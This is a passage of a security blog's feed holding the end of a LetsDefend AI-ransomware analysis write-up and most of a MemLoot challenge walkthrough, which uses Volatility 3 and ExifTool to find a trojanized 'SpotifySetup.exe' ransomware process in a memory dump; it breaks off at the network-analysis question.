&gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another great challenge that pushed me into some new territory.&lt;/p&gt;&#xA;&lt;p&gt;This one was a good reminder that even with beginner-level reverse engineering skills, you can still extract a surprising amount of meaningful information from a malware sample. By leaning on static analysis techniques and using the right tools at the right time, we were able to uncover AI model usage, encryption choices, network indicators, and attacker intent without needing to be a reversing wizard. That&amp;rsquo;s encouraging, especially if you&amp;rsquo;re earlier in your journey or hesitant to dive into malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;For me, this challenge was as much about building confidence as it was about answering questions. Static analysis isn&amp;rsquo;t always flashy, but it&amp;rsquo;s incredibly powerful, and working through PromptLock reinforced the value of slowing down, reading carefully, and following the evidence where it leads. There were moments where I stumbled or took a less-than-ideal path, but each of those course corrections helped reinforce the process and make the lessons stick.&lt;/p&gt;&#xA;&lt;p&gt;It also feels like scenarios like this aren&amp;rsquo;t just theoretical. As AI becomes more accessible and more normalized, it&amp;rsquo;s not hard to imagine malware authors experimenting with similar designs. Getting comfortable with the terminology, tooling, and patterns now feels like a smart way to stay ahead of the curve, even if the analysis feels a little weird at first.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ai-powered-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ai-powered-ransomware&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect It Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Go (Programming Language):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Go_%28programming_language%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Go_(programming_language)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ghidra:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/nationalsecurityagency/ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/nationalsecurityagency/ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;pestudio:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.winitor.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.winitor.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Speck (cipher):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Speck_%28cipher%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Speck_(cipher)&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  — MemLoot Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/</link>
            <pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  — MemLoot Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--memloot-challenge-walkthrough&#34;&gt;LetsDefend — MemLoot Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;windows-memory-forensics-with-volatility-3-ransomware-detection-process-analysis-and-network-artifact-discovery&#34;&gt;Windows Memory Forensics with Volatility 3: Ransomware Detection, Process Analysis, and Network Artifact Discovery.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memloot&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/memloot&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memloot&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MemLoot&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This one goes all in on &lt;strong&gt;memory analysis&lt;/strong&gt;, where volatile artifacts living in RAM can tell a story even when disk evidence is long gone.&lt;/p&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats and investigating a ransomware alert on a newly provisioned workstation. After some scary activity was detected, including file encryption and a ransom note, the system was isolated from the network. The user reported downloading and installing what they believed was legitimate software shortly before everything went off the rails. Our mission is to validate that story and figure out exactly what happened.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, we&amp;rsquo;re provided with a memory dump from the affected system, which gives us everything we need to begin reconstructing the attack. Using &lt;strong&gt;Volatility 3&lt;/strong&gt;, we&amp;rsquo;ll analyze running processes, identify file paths, uncover network artifacts, and reveal the ransomware&amp;rsquo;s behavior directly from memory. Along the way, we&amp;rsquo;ll correlate process trees, execution timestamps, encrypted file indicators, and outbound connections to build a clear picture of what went down.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll walk you through each stage, explaining what we&amp;rsquo;re doing so you can develop your own workflow for approaching similar incidents in the real world. By the end, you&amp;rsquo;ll have a solid sense of how to use &lt;em&gt;Volatility&lt;/em&gt; to pivot from suspicious executables to network infrastructure and confidently piece together an attack chain hiding inside RAM. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We are reporting a ransomware attack on a workstation belonging to a new employee.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The machine was isolated from the network after unusual activity was detected, including file encryption and the appearance of a ransom note.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application. Shortly after, critical files became inaccessible, and a ransom message appeared.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We are providing you with a memory dump to help identify the cause of the ransomware infection and determine how the attack was executed&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-identify-the-suspicious-executable-running-inmemory&#34;&gt;Question 1: Identify the suspicious executable running in memory.&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by opening the &lt;em&gt;ChallengeFile&lt;/em&gt; folder, which contains the artifact we&amp;rsquo;ll be examining: &lt;code&gt;MemLoot.vmem&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;412px&#34; data-flex-grow=&#34;171&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/e10be22613c91ef27de9c2965cd22e5f_MD5.png&#34; width=&#34;709&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;You might be asking yourself what a &lt;code&gt;.vmem&lt;/code&gt; file actually is and how we&amp;rsquo;re supposed to read it. That&amp;rsquo;s exactly the point of this challenge. A &lt;code&gt;.vmem&lt;/code&gt; file is a virtual memory dump from a &lt;strong&gt;VMware&lt;/strong&gt; virtual machine, capturing a snapshot of its virtual RAM at a specific point in time. Memory images like this are rich forensic artifacts that let us dig into evidence such as running processes, loaded modules, injected code, and even fragments of network activity.&lt;/p&gt;&#xA;&lt;p&gt;To explore the memory image, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Volatility 3&lt;/strong&gt;&lt;/a&gt;, the modern version of the popular memory forensics framework described as &amp;ldquo;the world&amp;rsquo;s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.&amp;ldquo;I&amp;rsquo;ll refer to it simply as &lt;em&gt;Volatility&lt;/em&gt; from this point forward. This tool is already installed on the &lt;strong&gt;LetsDefend&lt;/strong&gt; virtual machine, so we&amp;rsquo;re good to go.&lt;/p&gt;&#xA;&lt;p&gt;To get started, open &lt;em&gt;Volatility&lt;/em&gt; from the pinned shortcut on the taskbar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;600&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/f04f564ade5f216e98f592dd6da4dfdd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Launching Volatility&lt;/p&gt;&#xA;&lt;p&gt;Once it&amp;rsquo;s open, a quick pro tip if you&amp;rsquo;re still getting comfortable with &lt;em&gt;Volatility&lt;/em&gt; is to review the built-in help, which lists supported plugins and usage details:&lt;/p&gt;&#xA;&lt;p&gt;vol -h&lt;/p&gt;&#xA;&lt;p&gt;Looking back at our objective for &lt;strong&gt;Question 1&lt;/strong&gt;, we need to identify a suspicious executable running on the compromised host. From &lt;em&gt;Volatility&lt;/em&gt;&amp;rsquo;s help output, we can see that the &lt;code&gt;windows.pslist&lt;/code&gt; plugin is a solid starting point. It enumerates processes that were active in memory at the time the snapshot was captured.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s give it a try:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/f7133703b816501e2436634f3bca4fab_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying the suspicious executable&lt;/p&gt;&#xA;&lt;p&gt;Once the output loads, we can start examining the process list. Depending on your familiarity with Windows internals, some process names will look immediately normal, while others may feel just a bit off. If you ever stumble here, a reliable reference is the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SANS &lt;em&gt;Hunt Evil&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; cheat sheet, which helps quickly distinguish expected Windows process from anomalous ones.&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s tie this back to the scenario. We&amp;rsquo;re told that &amp;ldquo;the employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application.&amp;ldquo;One process that immediately stands out is &lt;code&gt;SpotifySetup.exe&lt;/code&gt;, which neatly fits into the scenario.&lt;/p&gt;&#xA;&lt;p&gt;At this stage, we&amp;rsquo;ve got a strong lead and a suspicious file potentially masquerading as a familiar app.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/08647f45e0153553b50b09dff80c57da_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-full-path-of-the-malicious-file&#34;&gt;Question 2: What is the full path of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the suspicious executable, it&amp;rsquo;s time to dig a little deeper and determine the full path of the file on disk.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll pivot away from &lt;code&gt;windows.pslist&lt;/code&gt; and instead leverage the &lt;code&gt;windows.pstree&lt;/code&gt; module. While &lt;code&gt;windows.pslist&lt;/code&gt; gives us a flat view of running processes, &lt;code&gt;_windows.pstree_&lt;/code&gt; helps us understand parent€“child relationships and often includes additional context, such as the executable path, when it&amp;rsquo;s available in memory.&lt;/p&gt;&#xA;&lt;p&gt;A clean way to narrow our focus is to apply some pattern matching to the output. Think of this as a rough equivalent to &lt;code&gt;grep&lt;/code&gt; on Linux. Since we&amp;rsquo;re running &lt;em&gt;Volatility&lt;/em&gt; on Windows, we can pipe the output directly into the PowerShell &lt;code&gt;Select-String&lt;/code&gt; cmdlet and filter for references to our suspicious binary, &lt;code&gt;SpotifySetup.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pstree | Select-String -Pattern &amp;ldquo;SpotifySetup.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Running this command and filtering the results reveals the full path of the executable on the original host&amp;rsquo;s disk:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;C:\Users\Zifrana\Downloads\SpotifySetup.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/fdb5323908d73fa34cbc7cba984d77ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Uncovering the malicious file path using windows.pstree&lt;/p&gt;&#xA;&lt;p&gt;This makes sense given the scenario. The employee mentioned downloading what they believed was legitimate software, and the &lt;em&gt;Downloads&lt;/em&gt; directory is a common staging point for exactly that kind of activity. At this point, we&amp;rsquo;ve confirmed not only the suspicious process name, but also where it lived on disk, giving us valuable context for how the ransomware likely made its way onto the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/80e6eb0839f40b74f722e4cd0c22e299_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-3-4&#34;&gt;Questions 3 &amp;amp; 4:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-pid-of-the-malicious-file&#34;&gt;What is the PID of the malicious file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-was-the-malicious-file-executed&#34;&gt;When was the malicious file executed?&#xA;&lt;/h4&gt;&lt;p&gt;One of the nice bonuses of using &lt;code&gt;windows.pstree&lt;/code&gt; instead of stopping at &lt;code&gt;windows.pslist&lt;/code&gt; is that we get access to more contextual details than just a process name and hierarchy. In addition to showing us where the executable lived on disk, the output also exposes the &lt;strong&gt;process ID (PID)&lt;/strong&gt; and the &lt;em&gt;creation timestamp&lt;/em&gt; for that process.&lt;/p&gt;&#xA;&lt;p&gt;That gives us everything we need to answer &lt;strong&gt;Question 3&lt;/strong&gt; and &lt;strong&gt;Question 4&lt;/strong&gt; without introducing any new commands.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/c8b66d8da8cf131e85eb05187f217508_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Uncovering the malicious file PID and executed timestamp using windows.pstree&lt;/p&gt;&#xA;&lt;p&gt;At this point, we&amp;rsquo;ve established not just &lt;em&gt;what&lt;/em&gt; executable ran and &lt;em&gt;where&lt;/em&gt; it came from, but also &lt;em&gt;when&lt;/em&gt; it entered execution and &lt;em&gt;how&lt;/em&gt; it appeared in the process tree. With those answers in hand, we&amp;rsquo;re in good shape to move into deeper analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/57b9e0e555d29f17f3098feded30d7b3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1488px&#34; data-flex-grow=&#34;620&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/f1c37b098078e06cfd42d422999139db_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-real-name-of-the-malicious-file&#34;&gt;Question 5: What is the real name of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing our analysis of the malicious &lt;code&gt;SpotifySetup.exe&lt;/code&gt;, we now need to determine the &lt;em&gt;real&lt;/em&gt; name of the file, not just the display name used to lure a victim into launching it.&lt;/p&gt;&#xA;&lt;p&gt;To do that, we&amp;rsquo;ll take advantage of an optional argument available in &lt;strong&gt;Volatility&lt;/strong&gt;&amp;lsquo;s &lt;code&gt;windows.pslist&lt;/code&gt; module. The &lt;code&gt;--dump&lt;/code&gt; option allows us to extract the in-memory contents associated with a specific process so that we can perform offline analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;800px&#34; data-flex-grow=&#34;333&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/a4e356d0da2ac84c0c06f1b150ad378c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Dumping the contents of the malicious process&lt;/p&gt;&#xA;&lt;p&gt;Using the PID we identified earlier, we can run:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pslist &amp;ndash;dump &amp;ndash;pid 6816&lt;/p&gt;&#xA;&lt;p&gt;This command produces a &lt;code&gt;.dmp&lt;/code&gt; file containing the dumped memory for that process. While this isn&amp;rsquo;t the same as the original executable copied directly from disk, it can be enough to extract useful metadata that survives in memory.&lt;/p&gt;&#xA;&lt;p&gt;For that analysis, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ExifTool&lt;/strong&gt;&lt;/a&gt;, a widely used metadata inspection utility. &lt;em&gt;ExifTool&lt;/em&gt; is already installed in the &lt;em&gt;Tools&lt;/em&gt; folder of the LetsDefend environment, which makes it convenient. We can point it directly at the dumped file like this:&lt;/p&gt;&#xA;&lt;p&gt;.\exiftool.exe -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\6816.SpotifySetup.e.0x7ff6ad990000.dmp&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;409px&#34; data-flex-grow=&#34;170&#34; height=&#34;469&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/b53cdf8e0a9cfb0d6f74a40285af2501_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ExifTool: Identifying the Original File Name&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the output, the &lt;strong&gt;Original File Name&lt;/strong&gt; field sticks out. Instead of anything resembling Spotify, the value is listed as &lt;code&gt;DarkHav0c&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a far spookier name than the one presented to the user and a strong indicator that the executable was masquerading as legitimate software. At this point, the gap between the file&amp;rsquo;s &lt;em&gt;display name&lt;/em&gt; and its &lt;em&gt;embedded metadata&lt;/em&gt; helps confirm that we&amp;rsquo;re dealing with a trojanized installer rather than an accidental false positive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/fded591a1bd9541844f5c433caa2664e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-file-extension-does-the-ransomware-use-after-encryption&#34;&gt;Question 6: What file extension does the ransomware use after encryption?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve collected a solid amount of information about the file itself, let&amp;rsquo;s shift focus toward understanding how it operates. We&amp;rsquo;ve already established that this binary behaves like ransomware, and one of the most visible indicators of successful encryption is the file extension appended to victim files.&lt;/p&gt;&#xA;&lt;p&gt;To identify that extension, we&amp;rsquo;ll start by returning to the user path we discovered back in &lt;strong&gt;Question 2&lt;/strong&gt; and build outward from there. This time, we&amp;rsquo;ll rely on &lt;strong&gt;Volatility&lt;/strong&gt;&amp;lsquo;s &lt;code&gt;windows.filescan&lt;/code&gt; plugin, which searches memory for file objects that may still be referenced by the operating system.&lt;/p&gt;&#xA;&lt;p&gt;For a little peek behind the curtains, this step gave me some trouble.&lt;/p&gt;&#xA;&lt;p&gt;My first instinct was to filter the output down to the user&amp;rsquo;s directory using pattern matching. I tried piping the results through &lt;code&gt;findstr&lt;/code&gt; to look at everything under &lt;code&gt;\Users\Zifrana\&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.filescan | findstr &amp;ldquo;\Users\Zifrana&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I also tried exporting the output to a text file, hoping that it would make it easier to sift through:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.filescan &amp;gt; filescan.txt&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, neither approach turned up anything useful. The exported output was truncated, and the filtered results didn&amp;rsquo;t surface any meaningful indicators related to encrypted files.&lt;/p&gt;&#xA;&lt;p&gt;At that point, there was only one option left. Manual mode.&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.filescan&lt;/p&gt;&#xA;&lt;p&gt;Letting the full file scan stream directly to the terminal isn&amp;rsquo;t elegant, and it takes a &lt;em&gt;loooooong&lt;/em&gt; time to run, so be patient: Maybe you&amp;rsquo;ll spot something interesting as it zips by&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/83870926332cafcaaad46f5a00f3e8bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Locating the needle in the haystack&lt;/p&gt;&#xA;&lt;p&gt;Finally, once it completes, we can start to scroll up through the output. Thankfully, we don&amp;rsquo;t have to go too far before we stumble across a familiar file extension, &lt;code&gt;.Hav0c&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That extension gives us our answer for &lt;strong&gt;Question 6&lt;/strong&gt; and provides another strong indicator tying the observed activity back to the malicious binary we&amp;rsquo;ve been analyzing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/85494364916802db50b2283f4b7ee301_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-identify-the-ip-address-and-port-the-ransomware-attempted-to-communicate-with&#34;&gt;Question 7: Identify the IP address and port the ransomware attempted to communicate with.&#xA;&lt;/h3&gt;&lt;p&gt;To tackle &lt;strong&gt;Question 7&lt;/strong&gt;, we&amp;rsquo;re going to pivot to another &lt;em&gt;Volatility&lt;/em&gt; module: &lt;code&gt;windows.netscan&lt;/code&gt;. This plugin scans memory for network artifacts, including active and recently closed connections, IP addresses, and associated ports.&lt;/p&gt;&#xA;&lt;p&gt;Our goal here is to identify network activity tied specifically to the malicious binary, &lt;code&gt;SpotifySetup.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To make that easier, we&amp;rsquo;ll run the module and 